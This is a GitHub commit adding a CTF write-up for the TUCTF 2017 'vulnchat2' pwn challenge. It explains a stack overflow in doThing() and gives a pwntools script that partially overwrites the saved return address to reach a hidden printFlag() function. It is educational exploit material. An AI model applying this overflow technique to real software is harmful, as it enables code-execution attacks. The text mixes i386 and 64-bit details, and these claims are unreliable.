Skip to content

Commit 4e77236

Browse files
committed
Added tuctf17_vulnchat2 write-up
1 parent b8d6f01 commit 4e77236

File tree

2 files changed

+110
-0
lines changed

2 files changed

+110
-0
lines changed
Lines changed: 110 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,110 @@
1+
---
2+
layout: post
3+
title: Tuctf 2017 vulnchat2
4+
date: 2025-07-26 01:22:03 +0300
5+
categories: Nightmare-series partial-overwrite
6+
tags: nightmare buffer-overflow i386 partial-overwrite
7+
---
8+
9+
## Information
10+
- category: pwn
11+
12+
## Description
13+
> None
14+
15+
## Write-up
16+
17+
### Binary Analysis
18+
From reverse engineering the binary, we identified a function named `doThing()` that contains a call to the `read()` function. It reads **45 bytes** from standard input into a local stack buffer:
19+
```plaintext
20+
ssize_t n = read(0, buf, 45);
21+
```
22+
Additionally, we discovered a **hidden function** called `printFlag()` which is not directly called in normal execution but can be reached through exploitation.
23+
24+
### Vulnerability
25+
The buffer that `read()` writes into is located on the stack. Since the function doesn't enforce bounds checking beyond the 45-byte `read()`, and there’s a return address following the buffer, we can exploit this to perform a **partial overwrite** of the saved return address.
26+
27+
28+
### Exploitation Strategy
29+
- **Goal**: Redirect execution to `printFlag()`.
30+
- **Method**: Partial overwrite of the least significant byte (LSB) of the return address to point into `printFlag`.
31+
- **Why Partial?** The input is limited to 45 bytes, which is not enough to fully overwrite the return address. But because ASLR doesn't randomize all bits in 64-bit addresses, and the binary has a predictable layout (probably PIE disabled), we can **overwrite just the last byte** of the return address to land inside `printFlag`.
32+
33+
### Offset Discovery
34+
Using `pwndbg` in GDB, we examined the stack layout at the point of the `read()` call in `doThing()`:”
35+
```bash
36+
pwndbg> i f
37+
Stack level 0, frame at 0x7fffffffdf40:
38+
rip = 0x401310 in doThing; saved rip = 0x401369
39+
...
40+
pwndbg> dist $rax 0x7fffffffdf38
41+
0x7fffffffdef0->0x7fffffffdf38 is 0x2b bytes (43 in decimal)
42+
```
43+
This confirms the **offset to the return address is 43 bytes**.
44+
45+
46+
### Final Exploit Concept
47+
To exploit the program:
48+
- Send **43 bytes** of padding to reach the return address.
49+
- Follow it with **1 byte** that matches the low byte of `printFlag()` address ( `0x72` if its address ends in `0x...72`).
50+
- This causes the return address to be partially overwritten to point to `printFlag()`. This partial overwrite is enough to gain code execution and leak the flag.
51+
52+
53+
## Exploit
54+
```python
55+
#!/usr/bin/env python3
56+
57+
from pwn import *
58+
59+
exe = ELF("./vuln-chat2.0_patched")
60+
61+
context.binary = exe
62+
63+
64+
def conn():
65+
66+
r = process([exe.path])
67+
if args.DEBUG:
68+
gdb.attach(r)
69+
70+
return r
71+
72+
def main():
73+
r = conn()
74+
75+
fixed_low = b"\x72"
76+
offset_ret = 43
77+
78+
payload = b"A"*offset_ret
79+
payload+= fixed_low
80+
81+
r.sendline(b"AAAA")
82+
sleep(4)
83+
r.send(payload)
84+
85+
r.interactive()
86+
87+
if __name__ == "__main__":
88+
main()
89+
```
90+
91+
## Flag
92+
> Flag:``` flag{g0ttem_b0yz}```
93+
94+
95+
96+
97+
98+
99+
100+
101+
102+
103+
104+
105+
106+
107+
108+
109+
110+
237 KB
Loading

0 commit comments

Comments
 (0)